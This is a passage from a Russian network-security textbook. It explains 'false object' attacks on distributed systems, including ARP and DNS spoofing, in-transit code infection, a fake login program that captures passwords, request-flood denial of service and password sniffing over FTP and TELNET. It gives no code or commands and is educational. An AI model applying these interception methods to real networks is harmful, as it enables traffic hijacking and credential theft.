Объекты РВС обычно имеют не всю необходимую для адресации сообщений информацию, под которой понимаются аппаратные (адрес сетевого адаптера) и логические адреса (например, IP-адрес) объектов РВС. Для получения подобной информации в распределенных ВС используются различные алгоритмы удаленного поиска (название авторское, и на сегодняшний день оно еще не является общеупотребительным), заключающиеся в передаче по сети специального вида поисковых запросов и в ожидании ответов на них. Полученных таким образом сведений об искомом объекте запросившему субъекту РВС достаточно для последующей адресации к нему. Примером сообщений, на которых базируются алгоритмы удаленного поиска, могут служить SAP-запрос в ОС Novell NetWare [11], а также ARP– и DNS-запросы в Internet.

Существуют два типа поисковых запросов: широковещательный и направленный. Широковещательный поисковый запрос получают все объекты в Сети, но только искомый объект отсылает в ответ нужную информацию. Поэтому, чтобы избежать перегрузки Сети, подобный механизм запросов используется обычно внутри одного сетевого сегмента, если не хватает информации для адресации на канальном уровне OSI. Направленный поисковый запрос передается на один (или несколько) специально выделенный для обработки подобных запросов сетевой объект (например, DNS-сервер) и применяется при межсегментном поиске в том случае, когда не хватает информации для адресации на сетевом уровне OSI.

При использовании распределенной ВС механизмов удаленного поиска реализация данной типовой угрозы состоит в перехвате поискового запроса и передаче в ответ на него ложного сообщения, где указываются данные, использование которых приведет к адресации на атакующий ложный объект. Таким образом, в дальнейшем весь поток информации между субъектом и объектом взаимодействия будет проходить через ложный объект РВС.

Другой вариант реализации данной угрозы состоит в периодической передаче на атакуемый объект заранее подготовленного ложного ответа без приема поискового запроса. Действительно, для того чтобы послать ложный ответ, кракеру не всегда нужно дожидаться приема запроса. Взломщик может спровоцировать атакуемый объект на передачу поискового сообщения, обеспечив тем самым успех своему ложному ответу. Данная типовая удаленная атака характерна для глобальных сетей, когда атакующий и его цель находятся в разных сегментах и возможности перехватить поисковый запрос не существует.

Ложный объект РВС – активное воздействие (класс 1.2), совершаемое с целью нарушения конфиденциальности (класс 2.1) и целостности информации (класс 2.2), которое может являться атакой по запросу от атакуемого объекта (класс 3.1), а также безусловной атакой (класс 3.3). Данное удаленное воздействие является как внутрисегментным (класс 5.1), так и межсегментным (класс 5.2), имеет обратную связь с атакуемым объектом (класс 4.1) и осуществляется на канальном (класс 6.2), сетевом (класс 6.3) и транспортном (класс 6.4) уровнях модели OSI.

Рассмотрим далее модель реализации типовой угрозы при использовании в РВС широковещательного поискового запроса в проекции на канальный и сетевой уровни модели OSI (рис. 3.8).

Рис. 3.8. Графовая модель взаимодействия объектов РВС при реализации типовой угрозы «внедрение в РВС ложного объекта путем использования недостатков алгоритмов удаленного поиска» (с использованием широковещательных поисковых запросов) в проекции на канальный и сетевой уровни модели OSI

Пусть объекту X2 нужна информация для адресации к объекту Xk на канальном уровне (объект Xk находится в том же сегменте, что и объект X2). Для получения необходимой информации об объекте Xk объект X2 использует алгоритм удаленного поиска, реализованный с помощью широковещательного запроса (Zsh2k). Тогда объект X2 передает данный запрос всем объектам в своем сетевом сегменте. Пусть объект X1, перехватив данный запрос, выдает себя за искомый объект Xk. Тогда от имени объекта Xk он передает на объект X2 ложный ответ LOk2. При этом объект Xk также получит поисковый запрос и тоже ответит объекту X2 (Ok2). В случае если объектом X2 будет воспринят ложный ответ LOk2, то граф взаимодействия объектов РВС будет изменен следующим образом (условия, при которых объект X2 отдаст предпочтение ложному, а не настоящему ответу, для каждой конкретной системы разные: либо ложный ответ должен прийти раньше настоящего, либо чуть позже): объект X2 будет считать X1 объектом Xk, и на графе появится линия связи канального уровня ksk2, соединяющая объекты X1 и X2. Объект X1 может быть связан с объектом Xk как линией связи канального уровня ks1k, так и линией связи ks2k (в том случае, если он хочет остаться «прозрачным» и будет при взаимодействии с объектом Xk выдавать себя за объект X2).

Таким образом, после реализации данной типовой угрозы изменяется путь на канальном уровне на графе между объектами X2 и Xk добавлением нового транзитного (ложного) объекта X1.

Далее рассмотрим модель реализации типовой угрозы в проекции на канальный и сетевой уровни модели OSI в случае использования в РВС направленного поискового запроса (рис. 3.9).

Рис. 3.9. Графовая модель взаимодействия объектов РВС при реализации угрозы «внедрение в РВС ложного объекта путем использования недостатков алгоритмов удаленного поиска» (с использованием направленных запросов) в проекции на канальный и сетевой уровни модели OSI

Пусть объекты X1, Xk, XM-k, XM находятся в разных сегментах (k < M). Пусть объект Xk обращается к XM при помощи направленного поискового запроса ZnkM M-k, чтобы получить недостающую для адресации информацию об объекте XM-k. Объект XM, приняв запрос от Xk, отсылает на него ответ OMK M-K. В свою очередь атакующий с объекта X1 также передает на Xk от имени XM ложный ответ LOMK M-K. В случае если объектом Xk будет воспринят ложный ответ LOMK M-K, то граф взаимодействия объектов РВС изменится следующим образом: Xk будет считать объект X1 объектом XM-k, и на графе появится линия связи сетевого уровня lsM-kk, соединяющая объекты X1 и Xk. Объект X1 может быть соединен с объектом XM-k как линией связи сетевого уровня ls1M-k, так и линией связи lskM-k (в том случае, если он хочет остаться «прозрачным» и будет при взаимодействии с объектом XM-k выдавать себя за объект Xk).

Таким образом, после реализации данной типовой угрозы изменяется путь на сетевом уровне на графе между объектами Xk и XM-k добавлением нового транзитного (ложного) объекта X1.

Использование ложного объекта для организации удаленной атаки на распределенную ВС

Получив контроль над проходящим информационным потоком между объектами, ложный объект РВС может применять различные методы воздействия на перехваченную информацию. Так как внедрение в распределенную ВС ложного объекта является целью многих удаленных атак и представляет серьезную угрозу безопасности РВС в целом, рассмотрим подробно методы воздействия на перехваченную таким объектом информацию:

• селекция потока информации и сохранение ее на ложном объекте РВС;

• модификация информации.

Одной из атак, которую может осуществлять ложный объект РВС, является перехват информации, передаваемой между субъектом и объектом взаимодействия. Такой перехват возможен из-за того, что при выполнении некоторых операций над файлами (чтение, копирование и т. д.) содержимое этих файлов передается по сети, а значит, поступает на ложный объект. Простейший способ реализации перехвата – это сохранение в файле всех получаемых ложным объектом пакетов обмена. Очевидно, что такой способ оказывается недостаточно информативным: в пакетах обмена кроме полей данных существуют служебные поля, не представляющие интереса для атакующего. Следовательно, для того чтобы получить непосредственно передаваемый файл, необходимо проводить на ложном объекте динамическую семантическую селекцию потока информации. Одной из особенностей любой системы воздействия, построенной по принципу ложного объекта, является то, что она способна модифицировать перехваченную информацию. Причем, важно отметить, что это один из способов, позволяющих программно модифицировать поток информации между объектами РВС с другого объекта. Ведь для реализации перехвата информации в сети необязательно атаковать распределенную ВС по схеме «ложный объект». Эффективней будет атака, осуществляющая анализ сетевого трафика и позволяющая получать все пакеты, которые проходят по каналу связи, однако, в отличие от удаленной атаки по схеме «ложный объект», она неспособна к модификации информации.

Рассмотрим два вида модификации информации:

• модификация передаваемых данных;

• модификация передаваемого кода.

Модификация передаваемых данных

Одна из функций, которой может обладать система воздействия, построенная по принципу «ложный объект», – модификация передаваемых данных. В результате селекции потока перехваченной информации и его анализа система может распознавать тип передаваемых файлов (исполняемый или текстовый). Поэтому в случае обнаружения текстового файла или файла данных появляется возможность модифицировать проходящие через ложный объект данные. Особую угрозу эта функция представляет для сетей обработки конфиденциальной информации.

Модификация передаваемого кода

Другим видом модификации может быть модификация передаваемого кода. Проводя семантический анализ перехваченной информации, ложный объект способен выделять из потока данных исполняемый код. Известный принцип неймановской архитектуры гласит, что не существует различий между данными и командами. Следовательно, чтобы выяснить, код или данные передаются по сети, необходимо использовать некоторые особенности, свойственные реализации сетевого обмена в конкретной РВС или присущие конкретным типам исполняемых файлов в данной локальной операционной системе.

Представляется возможным выделить два различных по цели вида модификации кода:

• внедрение разрушающих программных средств (РПС);

• изменение логики работы исполняемого файла.

В первом случае при внедрении РПС исполняемый файл модифицируется по вирусной технологии, то есть к нему одним из известных способов дописывается тело РПС, и точка входа изменяется таким образом, чтобы она указывала на начало кода внедренного воздействия. Описанный способ практически ничем не отличается от стандартного заражения вирусом, за исключением того, что файл оказывается зараженным вирусом или РПС в момент передачи его по сети. Такое возможно только при использовании системы воздействия, построенной по принципу «ложный объект». Конкретный вид разрушающих программных средств, их цели и задачив данном случае не имеют значения, но можно рассмотреть, например, вариант использования ложного объекта для создания сетевого червя (наиболее сложного на практике удаленного воздействия в сетях) или в качестве РПС использовать анализаторы сетевого трафика (сниферы – от англ. «sniffer»). Во втором случае происходит модификация исполняемого кода с целью изменения логики его работы. Данное воздействие требует предварительного исследования работы исполняемого файла и может принести самые неожиданные результаты. Так, при запуске на сервере (например, в ОС Novell NetWare) программы идентификации пользователей распределенной базы данных ложный объект способен модифицировать код этой программы таким образом, что появится возможность беспарольного входа в базу данных с наивысшими привилегиями.

Подмена информации

Ложный объект позволяет не только модифицировать, но и подменять перехваченную им информацию. Если модификация приводит к частичному искажению информации, то подмена – к ее полному изменению. При возникновении в сети определенного контролируемого ложным объектом события одному из участников обмена посылается заранее подготовленная дезинформация, которая может быть воспринята им либо как исполняемый код, либо как данные. Рассмотрим пример дезинформации подобного рода.

Предположим, что ложный объект контролирует подключение пользователя к серверу. В этом случае взломщик ожидает, например, запуска соответствующей программы входа в систему. Если такая программа находится на сервере, то при ее запуске исполняемый файл передается на рабочую станцию (например, в случае загрузки бездисковой рабочей станции в ОС Novell NetWare). Вместо того, чтобы выполнить данное действие, ложный объект передает на рабочую станцию код заранее написанной специальной программы – захватчика паролей. Эта программа выполняет те же действия, что и настоящая программа входа в систему, например запрашивает имя и пароль пользователя, после чего полученные сведения посылаются на ложный объект, а пользователю выводится сообщение об ошибке. При этом пользователь, предположив, что он неправильно ввел пароль (пароль обычно не отображается на экране), снова запустит программу подключения к системе (на этот раз настоящую) и со второго раза получит доступ. Результат такой атаки – имя и пароль пользователя, сохраненные на ложном объекте.

Отказ в обслуживании

Одной из основных задач, возлагаемых на сетевую ОС, функционирующую на каждом из объектов распределенной ВС, является обеспечение надежного удаленного доступа к данному объекту с любого объекта сети: каждый субъект (пользователь) системы должен иметь возможность подключиться к любому объекту РВС и получить в соответствии со своими правами удаленный доступ к его ресурсам. Обычно в вычислительных сетях такая возможность реализуется следующим образом: на объекте РВС в сетевой ОС запускается ряд программ-серверов, входящих в состав телекоммуникационных служб предоставления удаленного сервиса (например, FTP-сервер, WWW-сервер и т. д.). Задача сервера – находясь в памяти операционной системы объекта РВС, постоянно ожидать получения запроса на подключение от удаленного объекта. При получении подобного сообщения сервер должен по возможности передать запросившему ответ, разрешая подключение или не разрешая. По аналогичной схеме происходит создание виртуального канала связи, по которому обычно взаимодействуют объекты РВС. В этом случае непосредственно ядро сетевой ОС обрабатывает приходящие извне запросы на создание виртуального канала (ВК) и передает их в соответствии с идентификатором запроса (порт или сокет) прикладному процессу, которым является соответствующий сервер.

Очевидно, что сетевая операционная система способна поддерживать ограниченное число открытых виртуальных соединений, а также отвечать на ограниченное число запросов (ограничена длина очереди запросов на подключение, тайм-аут очистки очереди и число одновременно открытых соединений). Эти ограничения устанавливаются индивидуально для каждой сетевой ОС. Основная проблема, возникающая в таком случае, состоит в том, что при отсутствии статической ключевой информации в РВС идентификация запроса возможна только по адресу его отправителя. Если в распределенной ВС не предусмотрено средств аутентификации адреса отправителя, то есть инфраструктура РВС позволяет с какого-либо объекта системы передавать на атакуемый объект бесконечное число анонимных запросов на подключение от имени других объектов (тем самым переполняя очередь запросов), числом на несколько порядков меньше пропускной способности канала (направленный мини-шторм), то этои будет реализацией типовой угрозы безопасности РВС «отказ в обслуживании» (denial of service – DoS). Результат такой реализации – нарушение на атакованном объекте работоспособности соответствующей службы предоставления удаленного сервиса, то есть невозможность получения удаленного доступа с других объектов РВС из-за переполнения очереди (буфера) запросов.

Суть второй разновидности реализации этой типовой угрозы заключена в передаче с одного адреса стольких запросов на атакуемый объект, сколько позволит пропускная способность канала передачи (направленный шторм запросов; от англ. «flooding» – наводнение). Если в системе не предусмотрено ограничение числа принимаемых запросов с одного объекта (адреса) в единицу времени, то результатом этой атаки может быть нарушение работы системы от возможного переполнения очереди запросови отказа одной из телекоммуникационных служб, вплоть до полной остановки компьютера из-за того, что система не может заниматься ничем другим, кроме обработки запросов.

Типовая удаленная атака «отказ в обслуживании» является активным воздействием (класс 1.2), осуществляемым с целью нарушения работоспособности системы (класс 2.3), относительно объекта атаки (класс 3.3). Данная атака является однонаправленным (класс 4.2) внутрисегментным (класс 5.1) или межсегментным воздействием (класс 5.2), осуществляемым на канальном (класс 6.2), сетевом (класс 6.3), транспортном (класс 6.4) и прикладном (класс 6.7) уровнях модели OSI.

Для моделирования механизмов реализации данной типовой угрозы воспользуемся графовой моделью взаимодействия объектов РВС в проекции на канальный и сетевой уровни модели OSI (рис. 3.10).

Рис. 3.10. Графовая модель взаимодействия объектов РВС при реализации типовой угрозы «отказ в обслуживании» в проекции на канальный и сетевой уровни модели OSI

Пусть объект Xk взаимодействует с объектом XM. Пусть с объекта X1 осуществляется данное воздействие с целью нарушить работоспособность объекта Xk. Тогда с объекта X1 осуществляется направленный шторм (или мини-шторм) запросов на объект Xk от имени любых объектов в сети (lsxik). Если атака достигла цели, на сетевом уровне нарушается взаимодействие объекта Xk с объектом XM, а на канальном уровне может нарушиться взаимодействие Xk с ближайшим роутером GM+k. Следовательно, на графе взаимодействия объектов РВС пропадают однонаправленные линии связи lskM и kskM+k.

Глава 4 Удаленные атаки на хосты Internet

Многое
Наша Земля повидала,
Но не видала
Такого скандала!
Б. Заходер. География всмятку

Анализ сетевого трафика Internet

В Internet базовыми протоколами удаленного доступа являются TELNET и FTP (File Transfer Protocol). TELNET – это протокол виртуального терминала (ВТ), позволяющий с удаленных хостов подключаться к серверам Internet в режиме ВТ. FTP – протокол, предназначенный для передачи файлов между удаленными хостами. Для получения доступа к серверу по данным протоколам пользователю необходимо пройти процедуры идентификации и аутентификации. В качестве информации, идентифицирующей пользователя, выступает его имя, а для аутентификации используется пароль. Особенностью протоколов FTP и TELNET является то, что пароли и идентификаторы пользователей передаются по сети в открытом, незашифрованном виде. Таким образом, необходимым и достаточным условием для получения удаленного доступа к хостам по протоколам FTP и TELNET являются имя и пароль пользователя.

Одним из способов получения таких паролей и идентификаторов в Internet является анализ сетевого трафика. Этот анализ осуществляется с помощью специальной программы-анализатора пакетов (sniffer), перехватывающей все пакеты, передаваемые по сегменту сети, и выделяющей среди них те, в которых передаются идентификатор пользователя и его пароль. Сетевой анализ протоколов FTP и TELNET показывает, что TELNET разбивает пароль на символы и пересылает их по одному, помещая каждый символ пароля в соответствующий пакет, а FTP, напротив, пересылает пароль целиком в одном пакете.

Рис. 4.1. Схема осуществления анализа сетевого трафика

У внимательного читателя, наверное, уже возник вопрос, почему разработчики базовых прикладных протоколов Internet не предусмотрели возможностей шифрования передаваемых по сети паролей пользователей. Даже во всеми критикуемой сетевой ОС Novell NetWare 3.12 пароли пользователей никогда не передаются по сети в открытом виде (правда, указанная функция этой ОС не особенно помогает [11]). Видимо, проблема в том, что базовые прикладные протоколы семейства TCP/IP разрабатывались очень давно, в период с конца 60-х до начала 80-х годов, и с тех пор абсолютно не изменились. При этом точка зрения на построение глобальных сетей стала иной. Инфраструктура Сети и ее протоколы разрабатывались исходя, в основном, из соображений надежности связи, но не из соображений безопасности. Мы, пользователи Internet, вынуждены сейчас прибегать к услугам этой устаревшей с точки зрения защищенности глобальной сети. Совершенно очевидно, что вычислительные системы за эти годы сделали колоссальный скачок в своем развитии, существенно изменился и подход к обеспечению информационной безопасности распределенных ВС. Были разработаны различные протоколы обмена, позволяющие защитить сетевое соединение и зашифровать трафик (например, протоколы SSL, SKIP и т. п.). Однако новые протоколы не сменили устаревшие и не стали стандартом для каждого пользователя (за исключением, может быть, SSL, да и то лишь применительно к некоторым Web-транзакциям). К сожалению, процесс перехода на эти протоколы может длиться еще многие годы, так как в Internet централизованное управление сетью отсутствует. А на сегодняшний день подавляющее большинство пользователей продолжают работать со стандартными протоколами семейства TCP/IP, разработанными более 15 лет назад. В результате, как показывают сообщения американских центров по компьютерной безопасности (CERT, CIAC), в последние годы анализ сетевого трафика в сети Internet успешно применяется кракерами, и, согласно материалам специального комитета при конгрессе США, с его помощью в 1993–1994 годах было перехвачено около миллиона паролей для доступа в различные информационные системы.

Ложный ARP-сервер в сети Internet

Как уже неоднократно подчеркивалось, в вычислительных сетях связь между двумя удаленными хостами осуществляется путем передачи по сети сообщений, которые заключены в пакеты обмена. Как правило, такой пакет независимо от используемого протокола и типа сети (Token Ring, Ethernet, X.25 и др.) состоит из заголовка и поля данных. В заголовок пакета обычно заносится служебная информация, необходимая для адресации пакета, его идентификации, преобразования и т. д.; такая информация определяется используемым протоколом обмена. В поле данных помещаются либо непосредственно данные, либо другой пакет более высокого уровня OSI. Так, например, пакет транспортного уровня может быть помещен в пакет сетевого уровня, а тот, в свою очередь, вложен в пакет канального уровня. Спроецировав это утверждение на сетевую ОС, использующую протоколы TCP/IP, можно утверждать, что пакет TCP (транспортный уровень) помещен в пакет IP (сетевой уровень), вложенный в пакет Ethernet (канальный уровень). Структура TCP-пакета в Internet выглядит следующим образом:

1. Заголовок Ethernet.

2. Заголовок IP.

3. Заголовок TCP.

4. Данные.

Иерархия протоколов сети Internet в проекции на модель OSI приведена на рис. 4.2.

Рис. 4.2. Иерархия протоколов сети Internet в проекции на модель OSI

Данный рисунок требует некоторого уточнения. Здесь показано, на каких протоколах (TCP или UDP) обычно – по умолчанию – реализованы прикладные службы. Но это отнюдь не означает, что не существует, например, реализаций FTP на базе UDP – в стандартном файле /etc/services в ОС FreeBSD дается перечень возможных реализаций прикладных служб как на основе протокола TCP, так и протокола UDP.

Рассмотрим схему адресации пакетов в Internet и возникающие при этом проблемы безопасности. Как известно, базовым сетевым протоколом обмена в Internet является протокол IP (Internet Protocol). Протокол IP – это межсетевой протокол, позволяющий передавать IP-пакеты в любую точку сети. Для адресации на сетевом уровне (IP-уровне) в Internet каждый хост имеет уникальный 32-разрядный IP-адрес. Для передачи IP-пакета на хост в IP-заголовке пакета в поле Destination Address необходимо указать IP-адрес данного хоста. Однако, как видно из структуры TCP-пакета, IP-пакет находится внутри аппаратного пакета (если среда передачи – Ethernet, IP-пакет находится внутри Ethernet-пакета), поэтому каждый пакет в сетях любого типа и с любыми протоколами обмена в конечном счете посылается на аппаратный адрес сетевого адаптера, непосредственно осуществляющего прием и передачу пакетов в сети (в дальнейшем мы будем рассматривать только Ethernet-сети).

Из всего вышесказанного следует, что для адресации IP-пакетов в Internet кроме IP-адреса хоста необходим еще либо Ethernet-адрес его сетевого адаптера (в случае адресации внутри одной подсети), либо Ethernet-адрес маршрутизатора (в случае межсетевой адресации). Первоначально хост может не иметь информации о Ethernet-адресах других хостов, находящихся с ним в одном сегменте, в том числе и о Ethernet-адресе маршрутизатора. Следовательно, хост должен найти эти адреса, применяя алгоритмы удаленного поиска (о них мы говорили в главе 3). В сети Internet для решения этой задачи используется протокол ARP (Address Resolution Protocol), который позволяет получить взаимно однозначное соответствие IP-и Ethernet-адресов для хостов, находящихся внутри одного сегмента. Это достигается следующим образом: при первом обращении к сетевым ресурсам хост отправляет широковещательный ARP-запрос на Ethernet-адрес FFFFFFFFFFFFh, где указывает IP-адрес маршрутизатора и просит сообщить его Ethernet-адрес (IP-адрес маршрутизатора является обязательным параметром, который всегда устанавливается вручную при настройке любой сетевой ОС в Internet). Этот широковещательный запрос получат все станции в данном сегменте сети, в том числе и маршрутизатор. Получив такой запрос, маршрутизатор внесет запись о запросившем хосте в свою ARP-таблицу, а затем отправит ARP-ответ, в котором сообщит свой Ethernet-адрес. Полученный в ARP-ответе Ethernet-адрес будет занесенв ARP-таблицу, находящуюся в памяти операционной системы на запросившем хосте и содержащую записи соответствия IP-и Ethernet-адресов для хостов внутри одного сегмента. Отметим, что в случае адресации к хосту, расположенному в той же подсети, также используется ARP-протокол, и рассмотренная выше схема полностью повторяется. Как указывалось ранее, при использовании в распределенной ВС алгоритмов удаленного поиска существует возможность осуществления в такой сети типовой удаленной атаки «ложный объект РВС». Анализ безопасности протокола ARP показывает, что, перехватив на атакующем хосте внутри данного сегмента сети широковещательный ARP-запрос, можно послать ложный ARP-ответ, в котором объявить себя искомым хостом (например, маршрутизатором), и в дальнейшем активно контролировать сетевой трафик дезинформированного хоста, воздействуя на него по схеме «ложный объект РВС».

Рассмотрим обобщенную функциональную схему ложного ARP-сервера (рис. 4.3):

Рис. 4.3. Ложный ARP-сервер

1. Ожидание ARP-запроса.

2. При получении такого запроса – передача по сети на запросивший хост ложного ARP-ответа, где указывается адрес сетевого адаптера атакующей станции (ложного ARP-сервера) или тот Ethernet-адрес, на котором будет принимать пакеты ложный ARP-сервер. Совершенно необязательно указывать в ложном ARP-ответе свой настоящий Ethernet-адрес, так как при работе непосредственно с сетевым адаптером его можно запрограммировать на прием пакетов на любой Ethernet-адрес.

3. Прием, анализ, воздействие на пакеты обмена и передача их между взаимодействующими хостами.

Данная схема атаки требует некоторого уточнения. На практике мы столкнулись с тем, что даже очень квалифицированные сетевые администраторы и программисты часто не знают или не понимают тонкостей работы протокола ARP. При обычной настройке сетевой ОС, поддерживающей протоколы TCP/IP, не требуется настройка модуля ARP (нам не встречалось ни одной сетевой ОС, где нужно было бы создавать ARP-таблицу «вручную»), поэтому протокол ARP остается как бы «прозрачным» для администраторов. Необходимо обратить внимание и на тот факт, что у маршрутизатора тоже имеется ARP-таблица, в которой содержится информация об IP-и соответствующих им Ethernet-адресах всех хостов из сегмента сети, подключенного к маршрутизатору. Информация в эту таблицу на маршрутизаторе также обычно заносится не вручную, а при помощи протокола ARP. Именно поэтому так легко в одном сегменте IP-сети присвоить чужой IP-адрес: выдать команду сетевой ОС на установку нового IP-адреса, потом обратиться в сеть – сразу же будет послан широковещательный ARP-запрос, и маршрутизатор, получив такое сообщение, автоматически обновит запись в своей ARP-таблице (поставит Ehternet-адрес вашей сетевой карты в соответствие с чужим IP-адресом), в результате чего обладатель данного IP-адреса потеряет связь с внешним миром (все пакеты, адресуемые на его бывший IP-адрес и приходящие на маршрутизатор, будут направляться им на Ethernet-адрес атакующего). Правда, некоторые ОС анализируют все передаваемые по сети широковещательные ARP-запросы. Например, ОС Windows 95 или SunOS 5.3 при получении ARP-запроса с указанным в нем IP-адресом, совпадающим с IP-адресом данной системы, выдают предупреждающее сообщение о том, что хост с таким-то Ethernet-адресом пытается присвоить себе (естественно, успешно) данный IP-адрес.

Из анализа механизмов адресации, описанных выше, становится ясно: так как поисковый ARP-запрос кроме атакующего получит и маршрутизатор, то в его таблице окажется соответствующая запись об IP-и Ethernet-адресе атакуемого хоста. Следовательно, когда на маршрутизатор придет пакет, направленный на IP-адрес атакуемого хоста, он будет передан не на ложный ARP-сервер, а непосредственно на хост. При этом схема передачи пакетов в этом случае будет следующая:

1. Атакованный хост передает пакеты на ложный ARP-сервер.

2. Ложный ARP-сервер посылает принятые от атакованного хоста пакеты на маршрутизатор.

3. Маршрутизатор, в случае получения ответа на запрос, адресует его непосредственно на атакованный хост, минуя ложный ARP-сервер.

В этом случае последняя фаза, связанная с приемом, анализом, воздействием на пакеты обмена и передачей их между атакованным хостом и, например, маршрутизатором (или любым другим хостом в том же сегменте) будет проходить уже не в режиме полного перехвата пакетов ложным сервером (мостовая схема), а в режиме «полуперехвата» (петлевая схема). Действительно, в режиме полного перехвата маршрут всех пакетов, отправляемых как в одну, так и в другую сторону, обязательно проходит через ложный сервер (мост); в режиме «полуперехвата» маршрут пакетов образует петлю (рис. 4.4). Петлевой маршрут может возникнуть и при рассмотренной ниже атаке на базе протоколов DNS и ICMP.

Рис. 4.4. Петлевая схема перехвата информации ложным АRP-сервером

Однако придумать несколько способов, позволяющих ложному ARP-серверу функционировать по мостовой схеме перехвата (полный перехват), довольно просто. Например, получив ARP-запрос, можно самому послать такое же сообщение и присвоить себе данный IP-адрес (правда, в этом случае ложному ARP-серверу не удастся остаться незамеченным: некоторые сетевые ОС, например Windows 95 и SunOS 5.3, перехватив такой запрос, выдадут предупреждение об использовании их IP-адреса). Другой, значительно более удобный способ – послать ARP-запрос, указав в качестве своего IP-адреса любой свободный в данном сегменте IP-адрес, и в дальнейшем вести работу с данного IP-адреса как с маршрутизатором, так и с «обманутыми» хостами (кстати, это типичная proxy-схема).

Заканчивая рассказ об уязвимостях протокола ARP, покажем, как различные сетевые ОС используют этот протокол для изменения информации в своих ARP-таблицах.

Исследования различных сетевых ОС выявили, что в ОС Linux при адресации к хосту, находящемуся в одной подсети с данным хостом, ARP-запрос передается, если в ARP-таблице отсутствует соответствующая запись о Ethernet-адресе, и при последующих обращениях к данному хосту ARP-запрос не посылается. В SunOS 5.3 при каждом новом обращении к хосту (в том случае, если в течение некоторого времени обращения не было) происходит передача ARP-запроса, и, следовательно, ARP-таблица динамически обновляется. ОС Windows 95 при обращении к хостам, с точки зрения использования протокола ARP, ведет себя почти так же, как и ОС Linux, за исключением того, что периодически (каждую минуту) посылает ARP-запрос о Ethernet-адресе маршрутизатора; в результате в течение нескольких минут вся локальная сеть с Windows 95 без труда берется под контроль ложным ARP-сервером. ОС Windows NT 4.0 также использует динамически изменяемую ARP-таблицу, и ARP-запросы о Ethernet-адресе маршрутизатора передаются каждые 5 минут.

Особый интерес вызвал следующий вопрос: можно ли осуществить данную удаленную атаку на UNIX-совместимую ОС CX/LAN/SX, защищенную по классу B1 (мандатная и дискретная сетевая политики разграничения доступа плюс специальная схема функционирования SUID/SGID процессов), установленную на двухпроцессорной мини-ЭВМ? Эта система является одним из лучших в мире полнофункциональных межсетевых экранов (МЭ) CyberGuard 3.0 (мы тестировали этого «монстра» в 1996 году). В процессе анализа защищенности этого МЭ относительно удаленных воздействий, осуществляемых по каналам связи, выяснилось, что в случае базовой (после всех стандартных настроек) конфигурации ОС защищенная UNIX-система также поражается ложным ARP-сервером (что, в общем, было вполне ожидаемым).

В заключение отметим, что, во-первых, причина успеха данной удаленной атаки кроется не столько в Internet, сколько в широковещательной среде Ethernet, а во-вторых, эта атака является внутрисегментной и представляет для вас угрозу только в том случае, если атакующий находится внутри вашего сегмента сети. Однако не стоит полагать, что из-за этого атака не представляет опасности, так как по статистике нарушений информационной безопасности вычислительных сетей известно, что большинство состоявшихся взломов производилось именно собственными сотрудникам компаний. Причины понятны: осуществить внутрисегментную удаленную атаку значительно легче, чем межсегментную. Кроме того, практически все организации имеют локальные сети (в том числе и IP-сети), хотя далеко не у всех они подключены к сети Internet. Это объясняется как соображениями безопасности, так и отсутствием у организации необходимости такого подключения. И наконец, сотрудникам, знающим тонкости своей внутренней вычислительной сети, гораздо легче осуществить взлом, чем кому бы то ни было. Поэтому администраторам безопасности нельзя недооценивать данную удаленную атаку, даже если ее источник находится внутри их локальной IP-сети.

Ложный DNS-сервер в сети Internet

Как известно, для обращения к хостам в Internet используются 32-разрядные IP-адреса, уникально идентифицирующие каждый сетевой компьютер в этой глобальной сети. Однако для пользователей применение IP-адресов при обращении к хостам является не слишком удобным и далеко не самым наглядным способом взаимодействия.

На самом раннем этапе развития Internet именно для удобства пользователей было принято решение присвоить всем компьютерам в Сети имена. Использование имен помогает лучше ориентироваться в киберпространстве Internet: запомнить, например, имя www.ferrari.it пользователю куда проще, чем четырехразрядную цепочку IP-адреса. Употребление в Internet мнемонически удобных и понятных пользователям имен породило проблему преобразования имен в IP-адреса. Такое преобразование необходимо, так как на сетевом уровне адресация пакетов идет не по именам, а по IP-адресам, следовательно, для непосредственной адресации сообщений в Internet имена не годятся. Сначала, когда в сеть Internet было объединено небольшое количество компьютеров, NIC (Network Information Center) для решения проблемы преобразования имен в адреса создал специальный файл (hosts file), в который вносились имена и соответствующие им IP-адреса всех хостов в Сети. Этот файл регулярно обновлялся и распространялся по всей Сети. Но, по мере развития Internet, число объединенных в Сеть хостов увеличивалось и такая схема становилась все менее и менее работоспособной. На смену ей пришла новая система преобразования имен, позволяющая пользователю получить необходимые сведения о соответствии имен и IP-адресов от ближайшего информационно-поискового сервера (DNS-сервера). Этот способ решения проблемы получил название Domain Name System (DNS – доменная система имен).

Чтобы реализовать эту систему, был разработан сетевой протокол DNS, для обеспечения эффективной работы которого в Сети создаются специальные выделенные информационно-поисковые серверы – DNS-серверы.

Поясним основную задачу, решаемую службой DNS. В современной сети Internet хост (имеется в виду клиентская часть DNS, называемая resolver) при обращении к удаленному серверу обычно знает его имя, но не IP-адрес, который необходим для непосредственной адресации. Следовательно, перед хостом возникает стандартная задача удаленного поиска: по имени удаленного хоста найти его IP-адрес. Решением этой задачи и занимается служба DNS на базе протокола DNS.

Рассмотрим DNS-алгоритм удаленного поиска IP-адреса по имени в сети Internet.

...

Запросы, генерируемые хостом, являются рекурсивными, то есть в качестве ответа на такой запрос возвращается либо искомая информация, либо сообщение о ее отсутствии. Запросы, генерируемые DNS-сервером, являются итеративными (нерекурсивными) и, в отличие от рекурсивных, допускают ответ в виде ссылки на другой сервер, который лучше осведомлен о месте расположения искомой информации.

1. Хост посылает на IP-адрес ближайшего DNS-сервера (он устанавливается при настройке сетевой ОС) DNS-запрос, в котором указывает имя сервера, IP-адрес которого необходимо найти.

2. DNS-сервер, получив такое сообщение, ищет в своей базе имен указанное имя. Если указанное в запросе имя найдено, а следовательно, найден и соответствующий ему IP-адрес, то DNS-сервер отправляет на хост DNS-ответ, в котором указывает искомый IP-адрес. Если же DNS-сервер не обнаружил такого имени в своей базе имен, то он пересылает DNS-запрос на один из ответственных за домены верхнего уровня DNS-серверов, адреса которых содержатся в файле настроек DNS-сервера root.cache, и описанная в этом пункте процедура повторяется, пока имя не будет найдено (или будет не найдено).

Анализируя уязвимость этой схемы удаленного поиска, можно прийти к выводу, что в сети, использующей протокол DNS, возможно осуществление типовой удаленной атаки «ложный объект РВС». Практические изыскания и критический анализ безопасности службы DNS позволяют предложить три возможных варианта удаленной атаки на эту службу.

Перехват DNS-запроса

